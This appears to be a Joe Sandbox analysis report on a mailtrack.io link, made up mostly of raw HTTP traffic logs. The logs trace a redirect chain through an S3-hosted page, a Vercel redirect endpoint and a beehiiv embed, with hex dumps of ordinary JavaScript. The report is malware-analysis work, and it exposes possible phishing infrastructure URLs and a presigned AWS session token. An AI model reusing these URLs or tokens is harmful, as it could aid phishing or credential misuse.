2025-02-06 21:52:38 UTC	1945	OUT	GET /favicon.ico HTTP/1.1 Host: temp-redirect-pagess.s3.eu-central-1.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20250206T215232Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aDGV1LWNlbnRyYWwtMSJHMEUCIH%2BiUk65FkOAe86pXil%2FnPAPs1YkVFNHdUSoZyNCpgJmAiEA160qxTIKQIkPaYHrBEkkKLs3dNgkx%2F40FLgWwD3GFdEqgQMIZhAAGgw5MDgwMjc0MDA3MjEiDK1NqUL32DmOUmwv2ireAlY1mmUbFwJF5P2hiWS5k54jl%2FrtfONXdoO7cIK8GU6wxggDDRfOSFkb0iGh4ea2q%2FtqZHxfo5vKbLcItrXtzgiTb93efCDPDjoKOXPNCBWI6qBKk4P4dTPMgrLpv8YUyswQDiVJ6MzFoLrCQLoj%2BLmCSGsMOfAOpgPj62QYUmwif0mRQVZqqWBirS38r%2FJc4foz5UhTpXlkM%2B7tMZfORzszy%2BAmP%2Ftwxzx%2BYNBpkrKCZMBcD7JNYkzTyVTF1yCJG1eJaaM%2FjykUfP7VsXvhswNjWGX00OJpGsY3LjDw2PGr6X8IwFm4HwhLmUWTde7nPds85pzrXByptsGVBBAANDHGFtuyJ6bruhjwiL6lbQeAotcU1VZYGYbCk1OPYTknmEa19tVAstRcwKKpB2GrddypMtcEtVTnXyaOk9eNEhAsaqu2YTS6SUF38FmRe5 [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:38 UTC	285	IN	HTTP/1.1 403 Forbidden x-amz-request-id: 7S20SFJ7MM0E9H21 x-amz-id-2: IA4lrK9h8EV1sHj4RS2wb7n6h/nyissVU50git78DMBwpNukP7//gAWpxzUo8yN9vW6XGzTuf3c= Content-Type: application/xml Transfer-Encoding: chunked Date: Thu, 06 Feb 2025 21:52:37 GMT Server: AmazonS3 Connection: close
2025-02-06 21:52:38 UTC	254	IN	Data Raw: 66 33 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 37 53 32 30 53 46 4a 37 4d 4d 30 45 39 48 32 31 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 49 41 34 6c 72 4b 39 68 38 45 56 31 73 48 6a 34 52 53 32 77 62 37 6e 36 68 2f 6e 79 69 73 73 56 55 35 30 67 69 74 37 38 44 4d 42 77 70 4e 75 6b 50 37 2f 2f 67 41 57 70 78 7a 55 6f 38 79 4e 39 76 57 36 58 47 7a 54 75 66 33 63 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: f3<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>7S20SFJ7MM0E9H21</RequestId><HostId>IA4lrK9h8EV1sHj4RS2wb7n6h/nyissVU50git78DMBwpNukP7//gAWpxzUo8yN9vW6XGzTuf3c=</HostId></Error>0

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:45 UTC	915	OUT	POST /api/redirect HTTP/1.1 Host: alot-eight.vercel.app Connection: keep-alive Content-Length: 0 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:45 UTC	402	IN	HTTP/1.1 302 Found Cache-Control: public, max-age=0, must-revalidate Date: Thu, 06 Feb 2025 21:52:45 GMT Location: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Server: Vercel Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Vercel-Cache: MISS X-Vercel-Id: iad1::iad1::g6wxs-1738878765374-f54f55b2966d Connection: close Transfer-Encoding: chunked
2025-02-06 21:52:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:45 UTC	799	OUT	GET /bee58212-55f9-4f7c-994e-380751e3d646 HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:46 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1738878766&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=9Fy6rMGVDEdA3taEvlMBu4F641K%2B8IdnQggz6rfErN8%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1738878766&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=9Fy6rMGVDEdA3taEvlMBu4F641K%2B8IdnQggz6rfErN8%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Vary: Origin Via: 1.1 vegur cf-cache-status: DYNAMIC Set-Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg; path=/; expires=Thu, 06-Feb-25 22:22:46 GMT; domain=.beehiiv.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 90de5e7f7a38440d-EWR
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 65 36 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 Data Ascii: e66<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no"><link rel="icon" href="/img/favicon.png"><link href="https://fonts.googleapis.com/css2?fami
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 70 75 73 68 2e 61 70 70 6c 79 28 75 2c 69 7c 7c 5b 5d 29 2c 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 75 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 75 5b 72 5d 2c 6e 3d 21 30 2c 61 3d 31 3b 61 3c 74 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 66 3d 74 5b 61 5d 3b 30 21 3d 3d 6f 5b 66 5d 26 26 28 6e 3d 21 31 29 7d 6e 26 26 28 75 2e 73 70 6c 69 63 65 28 72 2d 2d 2c 31 29 2c 65 3d 6c 28 6c 2e 73 3d 74 5b 30 5d 29 29 7d 72 65 74 75 72 6e 20 65 7d 76 61 72 20 6e 3d 7b 7d 2c 6f 3d 7b 31 3a 30 7d 2c 75 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 72 29 7b 69 66 28 6e 5b 72 5d 29 72 65 74 75 72 6e 20 6e 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 6e 5b 72 5d 3d 7b Data Ascii: push.apply(u,i\|\|[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,a=1;a<t.length;a++){var f=t[a];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=l(l.s=t[0]))}return e}var n={},o={1:0},u=[];function l(r){if(n[r])return n[r].exports;var t=n[r]={
2025-02-06 21:52:46 UTC	955	IN	Data Raw: 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 39 30 64 65 35 65 37 66 37 61 33 38 34 34 30 64 27 2c 74 3a 27 4d 54 63 7a 4f 44 67 33 4f 44 63 32 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 61 2e 6e 6f 6e 63 65 Data Ascii: ><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'90de5e7f7a38440d',t:'MTczODg3ODc2Ni4wMDAwMDA='};var a=document.createElement('script');a.nonce
2025-02-06 21:52:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:46 UTC	736	OUT	GET /variables.js HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:46 UTC	862	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:46 GMT Content-Type: application/javascript Content-Length: 479 Connection: close Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1738878766&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=9Fy6rMGVDEdA3taEvlMBu4F641K%2B8IdnQggz6rfErN8%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1738878766&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=9Fy6rMGVDEdA3taEvlMBu4F641K%2B8IdnQggz6rfErN8%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Cache-Control: no-cache, no-store, must-revalidate Vary: Origin Via: 1.1 vegur Last-Modified: Thu, 06 Feb 2025 21:52:46 GMT CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 90de5e837ff8f795-EWR
2025-02-06 21:52:46 UTC	479	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 63 6f 6e 73 74 20 76 61 72 69 61 62 6c 65 73 20 3d 20 7b 22 52 45 41 43 54 5f 41 50 50 5f 48 55 4d 41 4e 5f 41 50 50 5f 49 44 22 3a 22 50 58 65 42 75 6d 44 4c 77 65 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 48 55 4d 41 4e 5f 52 45 53 50 4f 4e 53 45 5f 44 4f 4d 41 49 4e 22 3a 22 62 65 65 68 69 69 76 2e 63 6f 6d 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 41 50 49 5f 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 6d 62 65 64 73 2e 62 65 65 68 69 69 76 2e 63 6f 6d 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 47 54 4d 5f 45 4e 41 42 4c 45 44 22 3a 22 74 72 75 65 22 2c 22 52 45 41 43 54 5f 41 50 50 5f 54 55 52 4e 53 54 49 4c 45 5f 53 49 54 45 4b 45 59 22 3a 22 30 78 34 41 41 41 41 41 41 41 45 64 39 59 35 6d 32 74 69 36 78 5f 41 38 Data Ascii: (function(){ const variables = {"REACT_APP_HUMAN_APP_ID":"PXeBumDLwe","REACT_APP_HUMAN_RESPONSE_DOMAIN":"beehiiv.com","REACT_APP_API_URL":"https://embeds.beehiiv.com","REACT_APP_GTM_ENABLED":"true","REACT_APP_TURNSTILE_SITEKEY":"0x4AAAAAAAEd9Y5m2ti6x_A8

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:46 UTC	753	OUT	GET /static/js/2.1c7b426a.chunk.js HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:46 UTC	823	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:46 GMT Content-Type: application/javascript Content-Length: 407212 Connection: close Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1737564067&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=%2FR7CAlCKoFPwl6dfwdHL34up7uDFDAWnwVTQmzxzMRg%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1737564067&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=%2FR7CAlCKoFPwl6dfwdHL34up7uDFDAWnwVTQmzxzMRg%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Last-Modified: Wed, 22 Jan 2025 16:38:42 GMT Vary: Origin Via: 1.1 vegur CF-Cache-Status: HIT Age: 5370 Accept-Ranges: bytes Server: cloudflare CF-RAY: 90de5e837c517ce2-EWR
2025-02-06 21:52:46 UTC	546	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 32 2e 31 63 37 62 34 32 36 61 2e 63 68 75 6e 6b 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 74 68 69 73 5b 22 77 65 62 70 61 63 6b 4a 73 6f 6e 70 65 78 74 65 72 6e 61 6c 2d 65 6d 62 65 64 22 5d 3d 74 68 69 73 5b 22 77 65 62 70 61 63 6b 4a 73 6f 6e 70 65 78 74 65 72 6e 61 6c 2d 65 6d 62 65 64 22 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 35 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 35 35 29 28 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c Data Ascii: /! For license information please see 2.1c7b426a.chunk.js.LICENSE.txt /(this["webpackJsonpexternal-embed"]=this["webpackJsonpexternal-embed"]\|\|[]).push([[2],[function(e,t,n){"use strict";e.exports=n(50)},function(e,t,n){e.exports=n(55)()},function(e,t,
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 28 6f 29 3a 6f 5b 73 5d 7d 7d 63 61 74 63 68 28 66 29 7b 61 3d 21 30 2c 6c 3d 66 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 69 26 26 63 2e 72 65 74 75 72 6e 26 26 63 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 61 29 74 68 72 6f 77 20 6c 7d 7d 72 65 74 75 72 6e 20 6f 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 38 32 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 65 2e 73 6c 69 63 65 28 30 29 29 2c 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 7b Data Ascii: (o):o[s]}}catch(f){a=!0,l=f}finally{try{!i&&c.return&&c.return()}finally{if(a)throw l}}return o}},function(e,t,n){"use strict";e.exports=n(82)},function(e,t,n){"use strict";function r(e,t){return t\|\|(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 Data Ascii: ll or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)},w=function(e,t){if(!e)throw new ReferenceErr
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 78 34 41 41 41 41 41 41 41 45 64 39 59 35 6d 32 74 69 36 78 5f 41 38 22 2c 52 45 41 43 54 5f 41 50 50 5f 48 55 4d 41 4e 5f 45 4e 41 42 4c 45 44 3a 22 74 72 75 65 22 2c 52 45 41 43 54 5f 41 50 50 5f 48 55 4d 41 4e 5f 52 45 53 50 4f 4e 53 45 5f 44 4f 4d 41 49 4e 3a 22 73 74 61 67 69 6e 67 68 69 69 76 2e 63 6f 6d 22 2c 52 45 41 43 54 5f 41 50 50 5f 48 55 4d 41 4e 5f 41 50 50 5f 49 44 3a 22 50 58 43 50 38 61 42 52 64 5a 22 2c 52 45 41 43 54 5f 41 50 50 5f 47 54 4d 5f 45 4e 41 42 4c 45 44 3a 22 74 72 75 65 22 2c 52 45 41 43 54 5f 41 50 50 5f 41 50 49 5f 55 52 4c 3a 22 68 74 74 70 73 3a 2f 2f 65 6d 62 65 64 73 2e 73 74 61 67 69 6e 67 68 69 69 76 2e 63 6f 6d 22 7d 29 2e 53 43 5f 41 54 54 52 29 7c 7c 22 64 61 74 61 2d 73 74 79 6c 65 64 22 2c 5f 3d 22 75 6e 64 65 Data Ascii: x4AAAAAAAEd9Y5m2ti6x_A8",REACT_APP_HUMAN_ENABLED:"true",REACT_APP_HUMAN_RESPONSE_DOMAIN:"staginghiiv.com",REACT_APP_HUMAN_APP_ID:"PXCP8aBRdZ",REACT_APP_GTM_ENABLED:"true",REACT_APP_API_URL:"https://embeds.staginghiiv.com"}).SC_ATTR)\|\|"data-styled",_="unde
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 65 6e 67 74 68 2c 6f 3d 41 72 72 61 79 28 72 3e 31 3f 72 2d 31 3a 30 29 2c 69 3d 31 3b 69 3c 72 3b 69 2b 2b 29 6f 5b 69 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 69 5d 3b 76 61 72 20 61 3d 77 28 74 68 69 73 2c 65 2e 63 61 6c 6c 28 74 68 69 73 2c 22 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2e 20 53 65 65 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 74 79 6c 65 64 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2f 73 74 79 6c 65 64 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 70 61 63 6b 61 67 65 73 2f 73 74 79 6c 65 64 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2f 73 72 63 2f 75 74 69 6c 73 2f 65 72 72 6f 72 73 2e 6d 64 23 22 2b 6e 2b 22 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 22 2b 28 6f 2e 6c 65 6e Data Ascii: ength,o=Array(r>1?r-1:0),i=1;i<r;i++)o[i-1]=arguments[i];var a=w(this,e.call(this,"An error occurred. See https://github.com/styled-components/styled-components/blob/master/packages/styled-components/src/utils/errors.md#"+n+" for more information."+(o.len
2025-02-06 21:52:46 UTC	1369	IN	Data Raw: 29 2c 4d 28 6e 7c 7c 21 74 3f 22 22 3a 74 2c 69 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 2e 6e 63 7d 2c 71 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 26 26 28 28 65 5b 74 5d 7c 7c 28 65 5b 74 5d 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 29 29 5b 6e 5d 3d 21 30 29 7d 2c 51 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 5b 74 5d 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 7d 2c 4b 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 65 5b 74 5d 26 26 65 5b 74 5d 5b 6e 5d 7d 7d 